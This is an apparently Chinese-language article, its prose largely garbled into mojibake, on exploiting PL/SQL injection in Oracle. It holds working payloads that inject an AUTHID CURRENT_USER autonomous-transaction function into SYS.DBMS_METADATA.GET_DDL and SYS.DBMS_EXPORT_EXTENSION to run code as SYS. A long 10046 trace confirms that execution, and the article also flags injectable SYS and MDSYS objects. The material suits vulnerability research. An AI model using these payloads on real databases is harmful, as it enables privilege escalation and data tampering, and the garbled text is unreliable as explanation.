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|
ÔÚWEBÉÏÃæSQLINJECTIONÒѾ³ÉΪµ±½ñËùνµÄ¡°ÈÕ¡±Õ¾Ö÷Á÷¡£Õâ
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Example1:
CREATE OR REPLACE PROCEDURE KJTEST(injcode in varchar2)
AS
BEGIN
execute immediate 'begin insert into KJTESTTABLE
values('''|| injcode ||''');end;';
END;
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KJTESTTABLE档
declare
begin
KJTEST('1');
end;
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declare
begin
KJTEST('1'');dbms_output.put_line(''hello');
end;
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OKEXPͷdzдˣ
declare
begin
KJTEST('1'');EXP-CODE;dbms_output.put_line(''hello');
end;
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Example2:
CREATE OR REPLACE PROCEDURE KJTEST(injcode in varchar2)
AS
tbn varchar2(1000);
BEGIN
execute immediate 'select table_name from user_tables
where table_name='''|| injcode ||''''
into tbn;
dbms_output.put_line(tbn);
END;
ôõʱô˷ʽ
declare
begin
KJTEST('KJTESTTABLE');
end;
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CREATE OR REPLACE FUNCTION KJHACKEREXP RETURN INTEGER
AUTHID CURRENT_USER IS
RESULT INTEGER;
PRAGMA AUTONOMOUS_TRANSACTION;
BEGIN
EXECUTE IMMEDIATE 'INSERT INTO KJTESTTABLE
VALUES(021320)';
COMMIT;
RETURN(RESULT);
END KJHACKEREXP;
declare
begin
KJTEST('KJTESTTABLE''||KJHACKEREXP()||''');
end;
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SELECT
SYS.DBMS_METADATA.GET_DDL('FUNCTION','KJHACKEREXP')
FROM DUAL
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SourceȻҲԼѯ
SELECT * from all_source
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SELECT
SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO'
,'BAR','DBMS_OUTPUT".PUT(:P1);SYS.DBMS_OUTPUT.PUT_LIN
E(''KJ021320'');END;--','SYS',0,'1',0)
FROM DUAL
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SELECT A.ADDRESS ADDRESS,S.HASH_VALUE
HASH_VALUE,S.PIECE PIECE,S.SQL_TEXT
SQL_TEXT,U.USERNAME
PARSING_USER_ID,C.USERNAME PARSING_SCHEMA_ID FROM
V$SQLAREA A,V$SQLTEXT_WITH_NEWLINES
S,DBA_USERS U,DBA_USERS C WHERE A.ADDRESS=S.ADDRESS AND
A.HASH_VALUE=S.HASH_VALUE AND
A.PARSING_USER_ID=U.USER_ID AND
A.PARSING_SCHEMA_ID=C.USER_ID AND EXISTS (SELECT 'X'
FROM V$SQLTEXT_WITH_NEWLINES
X WHERE X.ADDRESS=A.ADDRESS AND
X.HASH_VALUE=A.HASH_VALUE AND UPPER(X.SQL_TEXT) LIKE
'%SYS.DBMS_OUTPUT.PUT_LINE(%')ORDER BY 1,2,3
õ½
ADDRESS HASH_VALUE PIECE SQL_TEXT PARSING_USER_ID
PARSING_SCHEMA_ID
668C9120 1612804047 0 BEGIN
"SYS"."DBMS_OUTPUT".PUT(:P1);SYS.DBMS_OUTPUT.PUT_LINE('
KJ0 SYS SYS
668C9120 1612804047 1
21320');END;--".ODCIIndexUtilCleanup(:p1); END;
SYS SYS
BEGIN
"SYS"."DBMS_OUTPUT".PUT(:P1);SYS.DBMS_OUTPUT.PUT_LINE('
KJ021320');END;
--".ODCIIndexUtilCleanup(:p1); END;
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BMS_SUPPORTDBMS_SYSTEM
һ־ֱʹ10046 event巽ʽ£
ALTER SESSION SET EVENTS '10046 TRACE NAME CONTEXT
FOREVER, LEVEL 12';
YOUR SQL STATEMENT...
ALTER SESSION SET EVENTS '10046 TRACE NAME CONTEXT
OFF';
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CREATE OR REPLACE FUNCTION KJHACKEREXP RETURN INTEGER
AUTHID CURRENT_USER IS
RESULT INTEGER;
PRAGMA AUTONOMOUS_TRANSACTION;
BEGIN
EXECUTE IMMEDIATE 'INSERT INTO KJ021320.KJTESTTABLE
VALUES(1,021320)';
COMMIT;
RETURN(RESULT);
END KJHACKEREXP;
Ϊص䣺
ALTER SESSION SET EVENTS '10046 TRACE NAME CONTEXT
FOREVER, LEVEL 12';
SELECT SYS.DBMS_METADATA.GET_DDL('''||KJ021320.KJHACKER
EXP()||''','') FROM DUAL;
ALTER SESSION SET EVENTS '10046 TRACE NAME CONTEXT
OFF';
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{SID}\udump Ŀ¼
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=====================
PARSING IN CURSOR #1 len=80 dep=0 uid=61 oct=3 lid=61
tim=5821472460 hv=3907016812 ad='666488bc'
SELECT SYS.DBMS_METADATA.GET_DDL('''||KJ021320.KJHACKER
EXP()||''','') FROM DUAL
ǿʼ
END OF STMT
PARSE #1:c=0,e=2772,p=0,cr=0,cu=0,mis=1,r=0,dep=0,og=4,
tim=5821472453
BINDS #1:
EXEC #1:c=0,e=102,p=0,cr=0,cu=0,mis=0,r=0,dep=0,og=4,ti
m=5821473044
WAIT #1: nam='SQL*Net message to client' ela= 3
p1=1413697536 p2=1 p3=0
WAIT #1: nam='SQL*Net message from client' ela= 712
p1=1413697536 p2=1 p3=0
=====================
PARSING IN CURSOR #4 len=54 dep=1 uid=61 oct=3 lid=61
tim=5821474773 hv=3714800427 ad='665afb10'
SELECT SYS_CONTEXT('USERENV','CURRENT_USER') FROM DUAL
END OF STMT
PARSE #4:c=0,e=418,p=0,cr=0,cu=0,mis=1,r=0,dep=1,og=4,t
im=5821474767
BINDS #4:
EXEC #4:c=0,e=110,p=0,cr=0,cu=0,mis=0,r=0,dep=1,og=4,ti
m=5821475306
FETCH #4:c=0,e=37,p=0,cr=3,cu=0,mis=0,r=1,dep=1,og=4,ti
m=5821475420
STAT #4 id=1 cnt=1 pid=0 pos=1 obj=222 op='TABLE ACCESS
FULL DUAL '
=====================
PARSING IN CURSOR #4 len=740 dep=1 uid=0 oct=3 lid=0
tim=5821479726 hv=2617299981 ad='665793f0'
SELECT properties, version, xmltag, udt, schema,
viewname, flags, decode(bitand(flags,1), 0, 0, 1),
decode(bitand(flags,2), 0, 0, 1),
decode(bitand(flags,4), 0, 0, 1),
decode(bitand(flags,8), 0, 0, 1),
decode(bitand(flags,16), 0, 0, 1),
decode(bitand(flags,32), 0, 0, 1),
decode(bitand(flags,64), 0, 0, 1),
decode(bitand(flags,128), 0, 0, 1),
decode(bitand(flags,256), 0, 0, 1),
decode(bitand(flags,512), 0, 0, 1),
decode(bitand(flags,1024), 0, 0, 1),
decode(bitand(flags,2048), 0, 0, 1),
decode(bitand(flags,4096), 0, 0, 1),
decode(bitand(flags,8192), 0, 0, 1),
decode(bitand(flags,16384), 0, 0, 1),
decode(bitand(flags,32768), 0, 0, 1) FROM
sys.metaview$ WHERE
type=''||KJ021320.KJHACKEREXP()||'' AND
model='ORACLE' AND version<=902000000
һע㣡
END OF STMT
PARSE #4:c=0,e=3904,p=0,cr=0,cu=0,mis=1,r=0,dep=1,og=4,
tim=5821479719
BINDS #4:
=====================
PARSING IN CURSOR #5 len=49 dep=2 uid=0 oct=2 lid=0
tim=5821480756 hv=1324055951 ad='6684058c'
INSERT INTO KJ021320.KJTESTTABLE VALUES(1,021320)
END OF STMT
PARSE #5:c=0,e=370,p=0,cr=0,cu=0,mis=1,r=0,dep=2,og=4,t
im=5821480750
BINDS #5:
EXEC #5:c=0,e=256,p=0,cr=1,cu=7,mis=0,r=1,dep=2,og=4,ti
m=5821481459
XCTEND rlbk=0, rd_only=0
=====================
PARSING IN CURSOR #2 len=6 dep=2 uid=0 oct=44 lid=0
tim=5821485357 hv=3615375148 ad='6683f908'
COMMIT
END OF STMT
EXEC #2:c=0,e=3742,p=0,cr=0,cu=1,mis=0,r=0,dep=2,og=4,t
im=5821485350
EXEC #4:c=0,e=5588,p=0,cr=1,cu=8,mis=0,r=0,dep=1,og=4,t
im=5821485780
FETCH #4:c=0,e=13,p=0,cr=0,cu=0,mis=0,r=0,dep=1,og=4,ti
m=5821485932
STAT #4 id=1 cnt=0 pid=0 pos=1 obj=453 op='TABLE ACCESS
BY INDEX ROWID METAVIEW$ '
STAT #4 id=2 cnt=0 pid=1 pos=1 obj=454 op='INDEX RANGE
SCAN I_METAVIEW$ '
=====================
PARSING IN CURSOR #4 len=76 dep=1 uid=0 oct=3 lid=0
tim=5821489243 hv=1567650580 ad='665750fc'
SELECT COUNT(*) FROM sys.metaview$ WHERE
type=''||KJ021320.KJHACKEREXP()||''
2ע
END OF STMT
PARSE #4:c=0,e=2742,p=0,cr=0,cu=0,mis=1,r=0,dep=1,og=4,
tim=5821489235
BINDS #4:
=====================
PARSING IN CURSOR #5 len=49 dep=2 uid=0 oct=2 lid=0
tim=5821489578 hv=1324055951 ad='6684058c'
INSERT INTO KJ021320.KJTESTTABLE VALUES(1,021320)
END OF STMT
PARSE #5:c=0,e=59,p=0,cr=0,cu=0,mis=0,r=0,dep=2,og=4,ti
m=5821489574
BINDS #5:
EXEC #5:c=0,e=134,p=0,cr=1,cu=2,mis=0,r=1,dep=2,og=4,ti
m=5821489747
XCTEND rlbk=0, rd_only=0
EXEC #2:c=0,e=73,p=0,cr=0,cu=1,mis=0,r=0,dep=2,og=4,tim
=5821489880
EXEC #4:c=0,e=538,p=0,cr=1,cu=3,mis=0,r=0,dep=1,og=4,ti
m=5821489928
FETCH #4:c=0,e=12,p=0,cr=0,cu=0,mis=0,r=1,dep=1,og=4,ti
m=5821489962
STAT #4 id=1 cnt=1 pid=0 pos=1 obj=0 op='SORT AGGREGATE
'
STAT #4 id=2 cnt=0 pid=1 pos=1 obj=454 op='INDEX RANGE
SCAN I_METAVIEW$ '
FETCH #1:c=0,e=17012,p=0,cr=8,cu=11,mis=0,r=0,dep=0,og=
4,tim=5821491101
WAIT #1: nam='log file sync' ela= 341 p1=819 p2=0 p3=0
WAIT #1: nam='SQL*Net break/reset to client' ela= 74
p1=1413697536 p2=1 p3=0
WAIT #1: nam='SQL*Net break/reset to client' ela= 204
p1=1413697536 p2=0 p3=0
WAIT #1: nam='SQL*Net message to client' ela= 2
p1=1413697536 p2=1 p3=0
WAIT #1: nam='SQL*Net message from client' ela= 3958
p1=1413697536 p2=1 p3=0
=====================
PARSING IN CURSOR #4 len=61 dep=0 uid=61 oct=47 lid=61
tim=5821500658 hv=3517412409 ad='669b2620'
begin :id := sys.dbms_transaction.local_transaction_id;
end;
END OF STMT
PARSE #4:c=0,e=118,p=0,cr=0,cu=0,mis=0,r=0,dep=0,og=4,t
im=5821500653
BINDS #4:
bind 0: dty=1 mxl=2000(2000) mal=00 scl=00 pre=00
oacflg=01 oacfl2=10 size=2000 offset=0
bfp=04c0f830 bln=2000 avl=00 flg=05
WAIT #4: nam='SQL*Net message to client' ela= 3
p1=1413697536 p2=1 p3=0
EXEC #4:c=0,e=145,p=0,cr=0,cu=0,mis=0,r=1,dep=0,og=4,ti
m=5821500860
WAIT #4: nam='SQL*Net message from client' ela= 2708856
p1=1413697536 p2=1 p3=0
=====================
PARSING IN CURSOR #4 len=73 dep=0 uid=61 oct=47 lid=61
tim=5824210045 hv=678177122 ad='669adadc'
begin
sys.dbms_output.get_line(line => :line, status =>
:status);
end;
END OF STMT
PARSE #4:c=0,e=158,p=0,cr=0,cu=0,mis=0,r=0,dep=0,og=4,t
im=5824210040
BINDS #4:
bind 0: dty=1 mxl=2000(2000) mal=00 scl=00 pre=00
oacflg=01 oacfl2=10 size=2000 offset=0
bfp=04c0f830 bln=2000 avl=00 flg=05
bind 1: dty=2 mxl=22(22) mal=00 scl=00 pre=00 oacflg=01
oacfl2=0 size=24 offset=0
bfp=04a8fb80 bln=22 avl=00 flg=05
WAIT #4: nam='SQL*Net message to client' ela= 3
p1=1413697536 p2=1 p3=0
EXEC #4:c=0,e=163,p=0,cr=0,cu=0,mis=0,r=1,dep=0,og=4,ti
m=5824210269
WAIT #4: nam='SQL*Net message from client' ela= 6717782
p1=1413697536 p2=1 p3=0
=====================
PARSING IN CURSOR #4 len=21 dep=0 uid=61 oct=3 lid=61
tim=5830928325 hv=2888538493 ad='669abe84'
select 'x' from dual
END OF STMT
PARSE #4:c=0,e=77,p=0,cr=0,cu=0,mis=0,r=0,dep=0,og=4,ti
m=5830928320
BINDS #4:
EXEC #4:c=0,e=42,p=0,cr=0,cu=0,mis=0,r=0,dep=0,og=4,tim
=5830928419
WAIT #4: nam='SQL*Net message to client' ela= 2
p1=1413697536 p2=1 p3=0
WAIT #4: nam='SQL*Net message from client' ela= 406
p1=1413697536 p2=1 p3=0
WAIT #4: nam='SQL*Net message to client' ela= 2
p1=1413697536 p2=1 p3=0
FETCH #4:c=0,e=54,p=0,cr=3,cu=0,mis=0,r=1,dep=0,og=4,ti
m=5830928945
WAIT #4: nam='SQL*Net message from client' ela= 515
p1=1413697536 p2=1 p3=0
STAT #4 id=1 cnt=1 pid=0 pos=1 obj=222 op='TABLE ACCESS
FULL DUAL '
=====================
PARSING IN CURSOR #4 len=114 dep=0 uid=61 oct=47 lid=61
tim=5830929706 hv=2628502993 ad='669c5924'
begin
if :enable = 0 then
sys.dbms_output.disable;
else
sys.dbms_output.enable(:size);
end if;
end;
END OF STMT
PARSE #4:c=0,e=137,p=0,cr=0,cu=0,mis=0,r=0,dep=0,og=4,t
im=5830929702
BINDS #4:
bind 0: dty=2 mxl=22(22) mal=00 scl=00 pre=00 oacflg=01
oacfl2=0 size=48 offset=0
bfp=04a8fb68 bln=22 avl=02 flg=05
value=1
bind 1: dty=2 mxl=22(22) mal=00 scl=00 pre=00 oacflg=01
oacfl2=0 size=0 offset=24
bfp=04a8fb80 bln=22 avl=02 flg=01
value=10000
WAIT #4: nam='SQL*Net message to client' ela= 3
p1=1413697536 p2=1 p3=0
EXEC #4:c=0,e=247,p=0,cr=0,cu=0,mis=0,r=1,dep=0,og=4,ti
m=5830930021
WAIT #4: nam='SQL*Net message from client' ela= 38283
p1=1413697536 p2=1 p3=0
STAT #1 id=1 cnt=1 pid=0 pos=1 obj=222 op='TABLE ACCESS
FULL DUAL '
=====================
PARSING IN CURSOR #1 len=61 dep=0 uid=61 oct=47 lid=61
tim=5830968630 hv=3517412409 ad='669b2620'
begin :id := sys.dbms_transaction.local_transaction_id;
end;
END OF STMT
PARSE #1:c=0,e=99,p=0,cr=0,cu=0,mis=0,r=0,dep=0,og=4,ti
m=5830968625
BINDS #1:
bind 0: dty=1 mxl=2000(2000) mal=00 scl=00 pre=00
oacflg=01 oacfl2=10 size=2000 offset=0
bfp=04c0f830 bln=2000 avl=00 flg=05
WAIT #1: nam='SQL*Net message to client' ela= 3
p1=1413697536 p2=1 p3=0
EXEC #1:c=0,e=140,p=0,cr=0,cu=0,mis=0,r=1,dep=0,og=4,ti
m=5830968820
WAIT #1: nam='SQL*Net message from client' ela= 456
p1=1413697536 p2=1 p3=0
=====================
PARSING IN CURSOR #1 len=26 dep=0 uid=61 oct=3 lid=61
tim=5830969751 hv=1998264515 ad='6683df78'
SELECT * FROM KJTESTTABLE
END OF STMT
PARSE #1:c=0,e=371,p=0,cr=0,cu=0,mis=1,r=0,dep=0,og=4,t
im=5830969746
BINDS #1:
EXEC #1:c=0,e=29,p=0,cr=0,cu=0,mis=0,r=0,dep=0,og=4,tim
=5830969837
WAIT #1: nam='SQL*Net message to client' ela= 3
p1=1413697536 p2=1 p3=0
WAIT #1: nam='SQL*Net message from client' ela= 453
p1=1413697536 p2=1 p3=0
WAIT #1: nam='SQL*Net message to client' ela= 2
p1=1413697536 p2=1 p3=0
FETCH #1:c=0,e=61,p=0,cr=3,cu=0,mis=0,r=2,dep=0,og=4,ti
m=5830970423
WAIT #1: nam='SQL*Net message from client' ela= 3199
p1=1413697536 p2=1 p3=0
=====================
PARSING IN CURSOR #4 len=26 dep=0 uid=61 oct=3 lid=61
tim=5830973736 hv=1998264515 ad='6683df78'
SELECT * FROM KJTESTTABLE
END OF STMT
PARSE #4:c=0,e=54,p=0,cr=0,cu=0,mis=0,r=0,dep=0,og=4,ti
m=5830973731
WAIT #4: nam='SQL*Net message to client' ela= 2
p1=1413697536 p2=1 p3=0
WAIT #4: nam='SQL*Net message from client' ela= 20741
p1=1413697536 p2=1 p3=0
=====================
PARSING IN CURSOR #5 len=116 dep=1 uid=0 oct=3 lid=0
tim=5830994714 hv=189272129 ad='66f9f01c'
select o.owner#,o.name,o.namespace,o.remoteowner,o.link
name,o.subname,o.dataobj#,o.flags from obj$ o where
o.obj#=:1
END OF STMT
PARSE #5:c=0,e=50,p=0,cr=0,cu=0,mis=0,r=0,dep=1,og=4,ti
m=5830994709
BINDS #5:
bind 0: dty=2 mxl=22(22) mal=00 scl=00 pre=00 oacflg=08
oacfl2=1 size=24 offset=0
bfp=04bfa444 bln=22 avl=04 flg=05
value=30183
EXEC #5:c=0,e=72,p=0,cr=0,cu=0,mis=0,r=0,dep=1,og=4,tim
=5830994889
FETCH #5:c=0,e=32,p=0,cr=3,cu=0,mis=0,r=1,dep=1,og=4,ti
m=5830994941
STAT #1 id=1 cnt=2 pid=0 pos=1 obj=30183 op='TABLE
ACCESS FULL KJTESTTABLE '
=====================
PARSING IN CURSOR #1 len=61 dep=0 uid=61 oct=47 lid=61
tim=5830995126 hv=3517412409 ad='669b2620'
begin :id := sys.dbms_transaction.local_transaction_id;
end;
END OF STMT
PARSE #1:c=0,e=80,p=0,cr=0,cu=0,mis=0,r=0,dep=0,og=4,ti
m=5830995122
BINDS #1:
bind 0: dty=1 mxl=2000(2000) mal=00 scl=00 pre=00
oacflg=01 oacfl2=10 size=2000 offset=0
bfp=04c0f830 bln=2000 avl=00 flg=05
WAIT #1: nam='SQL*Net message to client' ela= 4
p1=1413697536 p2=1 p3=0
EXEC #1:c=0,e=133,p=0,cr=0,cu=0,mis=0,r=1,dep=0,og=4,ti
m=5830995299
WAIT #1: nam='SQL*Net message from client' ela= 16489
p1=1413697536 p2=1 p3=0
=====================
PARSING IN CURSOR #1 len=73 dep=0 uid=61 oct=47 lid=61
tim=5831012027 hv=678177122 ad='669adadc'
begin
sys.dbms_output.get_line(line => :line, status =>
:status);
end;
END OF STMT
PARSE #1:c=0,e=95,p=0,cr=0,cu=0,mis=0,r=0,dep=0,og=4,ti
m=5831012022
BINDS #1:
bind 0: dty=1 mxl=2000(2000) mal=00 scl=00 pre=00
oacflg=01 oacfl2=10 size=2000 offset=0
bfp=04c0f830 bln=2000 avl=00 flg=05
bind 1: dty=2 mxl=22(22) mal=00 scl=00 pre=00 oacflg=01
oacfl2=0 size=24 offset=0
bfp=04a8fb80 bln=22 avl=00 flg=05
WAIT #1: nam='SQL*Net message to client' ela= 3
p1=1413697536 p2=1 p3=0
EXEC #1:c=0,e=154,p=0,cr=0,cu=0,mis=0,r=1,dep=0,og=4,ti
m=5831012236
WAIT #1: nam='SQL*Net message from client' ela= 2431209
p1=1413697536 p2=1 p3=0
=====================
PARSING IN CURSOR #1 len=21 dep=0 uid=61 oct=3 lid=61
tim=5833443769 hv=2888538493 ad='669abe84'
select 'x' from dual
END OF STMT
PARSE #1:c=0,e=49,p=0,cr=0,cu=0,mis=0,r=0,dep=0,og=4,ti
m=5833443764
BINDS #1:
EXEC #1:c=0,e=38,p=0,cr=0,cu=0,mis=0,r=0,dep=0,og=4,tim
=5833443861
WAIT #1: nam='SQL*Net message to client' ela= 2
p1=1413697536 p2=1 p3=0
WAIT #1: nam='SQL*Net message from client' ela= 412
p1=1413697536 p2=1 p3=0
WAIT #1: nam='SQL*Net message to client' ela= 2
p1=1413697536 p2=1 p3=0
FETCH #1:c=0,e=55,p=0,cr=3,cu=0,mis=0,r=1,dep=0,og=4,ti
m=5833444394
WAIT #1: nam='SQL*Net message from client' ela= 526
p1=1413697536 p2=1 p3=0
STAT #1 id=1 cnt=1 pid=0 pos=1 obj=222 op='TABLE ACCESS
FULL DUAL '
=====================
PARSING IN CURSOR #1 len=114 dep=0 uid=61 oct=47 lid=61
tim=5833445119 hv=2628502993 ad='669c5924'
begin
if :enable = 0 then
sys.dbms_output.disable;
else
sys.dbms_output.enable(:size);
end if;
end;
END OF STMT
PARSE #1:c=0,e=86,p=0,cr=0,cu=0,mis=0,r=0,dep=0,og=4,ti
m=5833445116
BINDS #1:
bind 0: dty=2 mxl=22(22) mal=00 scl=00 pre=00 oacflg=01
oacfl2=0 size=48 offset=0
bfp=04a8fb68 bln=22 avl=02 flg=05
value=1
bind 1: dty=2 mxl=22(22) mal=00 scl=00 pre=00 oacflg=01
oacfl2=0 size=0 offset=24
bfp=04a8fb80 bln=22 avl=02 flg=01
value=10000
WAIT #1: nam='SQL*Net message to client' ela= 2
p1=1413697536 p2=1 p3=0
EXEC #1:c=0,e=164,p=0,cr=0,cu=0,mis=0,r=1,dep=0,og=4,ti
m=5833445350
WAIT #1: nam='SQL*Net message from client' ela= 44290
p1=1413697536 p2=1 p3=0
=====================
PARSING IN CURSOR #1 len=61 dep=0 uid=61 oct=47 lid=61
tim=5833489927 hv=3517412409 ad='669b2620'
begin :id := sys.dbms_transaction.local_transaction_id;
end;
END OF STMT
PARSE #1:c=0,e=109,p=0,cr=0,cu=0,mis=0,r=0,dep=0,og=4,t
im=5833489922
BINDS #1:
bind 0: dty=1 mxl=2000(2000) mal=00 scl=00 pre=00
oacflg=01 oacfl2=10 size=2000 offset=0
bfp=04c0f830 bln=2000 avl=00 flg=05
WAIT #1: nam='SQL*Net message to client' ela= 3
p1=1413697536 p2=1 p3=0
EXEC #1:c=0,e=141,p=0,cr=0,cu=0,mis=0,r=1,dep=0,og=4,ti
m=5833490119
WAIT #1: nam='SQL*Net message from client' ela= 680
p1=1413697536 p2=1 p3=0
=====================
PARSING IN CURSOR #1 len=56 dep=0 uid=61 oct=42 lid=61
tim=5833510806 hv=1342917134 ad='66548fe8'
ALTER SESSION SET EVENTS '10046 TRACE NAME CONTEXT OFF'
ǵĽ
END OF STMT
PARSE #1:c=0,e=19909,p=0,cr=0,cu=0,mis=1,r=0,dep=0,og=4
,tim=5833510799
BINDS #1:
EXEC #1:c=0,e=76,p=0,cr=0,cu=0,mis=0,r=0,dep=0,og=4,tim
=5833510934
OK,Åãż¿´ÁËÕâô¶àÀ¬»ø£¬ÐÁ¿à´ó¼ÒÁË¡£ÒÔÉϵÄSQL×¢Èë¾ÍÊÇÀàË
ǵExample2
Զ䣬ֻעһEXPй
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Redo־
Ͳٶ˵ˣҿȥйORACLE DBAϡ
β
±¾ÎĽéÉÜÁ˹ØÓÚORACLEÄÚ²¿×¢ÉäµÄ©¶´¼ì²éºÍÍÚ¾ò£¬µ«ÊÇÒÔÉÏÀ
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¹ý³Ì»òÕߺ¯ÊýµÄ©¶´£¬Æäʵ²¢²»ÊÇÕâÑùµÄ¡£ÎÒÃÇÏÂÃæµÄÒ»¸öϵÍ
trigger
create or replace trigger MDSYS.sdo_drop_user
after drop on DATABASE
declare
stmt varchar2(200);
BEGIN
if dictionary_obj_type = 'USER' THEN
stmt := 'DELETE FROM SDO_GEOM_METADATA_TABLE ' ||
' WHERE SDO_OWNER = ''' || dictionary_obj_name || '''
';
EXECUTE IMMEDIATE stmt;
stmt := 'DELETE FROM SDO_MAPS_TABLE ' ||
' WHERE SDO_OWNER = ''' || dictionary_obj_name || '''
';
EXECUTE IMMEDIATE stmt;
stmt := 'DELETE FROM SDO_STYLES_TABLE ' ||
' WHERE SDO_OWNER = ''' || dictionary_obj_name || '''
';
EXECUTE IMMEDIATE stmt;
stmt := 'DELETE FROM SDO_THEMES_TABLE ' ||
' WHERE SDO_OWNER = ''' || dictionary_obj_name || '''
';
EXECUTE IMMEDIATE stmt;
stmt := 'DELETE FROM SDO_LRS_METADATA_TABLE ' ||
' WHERE SDO_OWNER = ''' || dictionary_obj_name || '''
';
EXECUTE IMMEDIATE stmt;
end if;
end;
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ôһSQLJ뿴ұעĵط
create or replace and compile java source named
sys./28221493_foreachclass as
/* generated by Jasper from ForEachClass.jsl */
package oracle.jaccelerator.server;
import oracle.aurora.rdbms.ClassHandle;
import oracle.jaccelerator.server.PackageValidateAll;
import java.lang.String;
import oracle.jaccelerator.server.ClassProcessor;
import oracle.aurora.rdbms.Schema;
import oracle.jaccelerator.server.ForEachClass;
import java.sql.Connection;
import oracle.jaccelerator.server.PackageDisableNcomp;
import oracle.aurora.rdbms.Handle;
import java.lang.Exception;
import oracle.sql.*;
import java.io.*;
import oracle.jaccelerator.server.*;
import oracle.jdbc.driver.*;
import java.sql.*;
import java.lang.*;
import java.util.*;
public class ForEachClass {
public static String from_plsql (String processorName,
String packageNamePattern,
String schema) {
ClassProcessor processor = null;
try {
Class clazz =
Class.forName("oracle.jaccelerator.server." +
processorName);
processor = ((ClassProcessor)clazz.newInstance()).init(
packageNamePattern, schema);
} catch (ClassNotFoundException ex) {
return "class oracle.jaccelerator.server." +
processorName + " not found";
} catch (Exception ex2) {
return "can not instantiate class
oracle.jaccelerator.server." + processorName;
}
int count = ForEachClass.inPackage(packageNamePattern,
schema).apply(processor);
return "processed total: " + count + " classes";
}
public static ForEachClass inPackage (String
packageName, String schema) {
return new ForEachClass(packageName, schema);
}
Connection connection;
int counter = 0;
String packageNamePattern;
String schema;
public ForEachClass (String packageNamePattern, String
schema) {
this.packageNamePattern =
packageNamePattern.replace('.', '/');
this.schema = schema;
}
public int apply (ClassProcessor processor) {
try {
OracleDriver driver = new OracleDriver();
connection = driver.defaultConnection();
doit(processor);
} catch (Exception e) {
e.printStackTrace();
}
finally {
if (connection != null) {
}
}
return counter;
}
void cleanup (Connection connection) {
}
public void doit (ClassProcessor processor) throws
java.lang.Exception {
cleanup(connection);
Statement stmt = connection.createStatement();
try {
String cmd;
cmd = "select dbms_java.longname(OBJECT_NAME) " +
"from user_objects " +
"where OBJECT_TYPE = 'JAVA CLASS' and " +
"dbms_java.longname(OBJECT_NAME) like '" +
packageNamePattern +
"/%' " +
"and dbms_java.longname(OBJECT_NAME) not like '" +
packageNamePattern +
"/%/%'";
//ϴ洢SQLע
ResultSet rset = stmt.executeQuery(cmd);
while (rset.next()) {
String className = rset.getString(1);
processor.execute(className);
counter++;
}
} catch (Exception e) {
System.out.println(" got error " + e);
}
finally {
if (stmt != null)
stmt.close();
}
}
}
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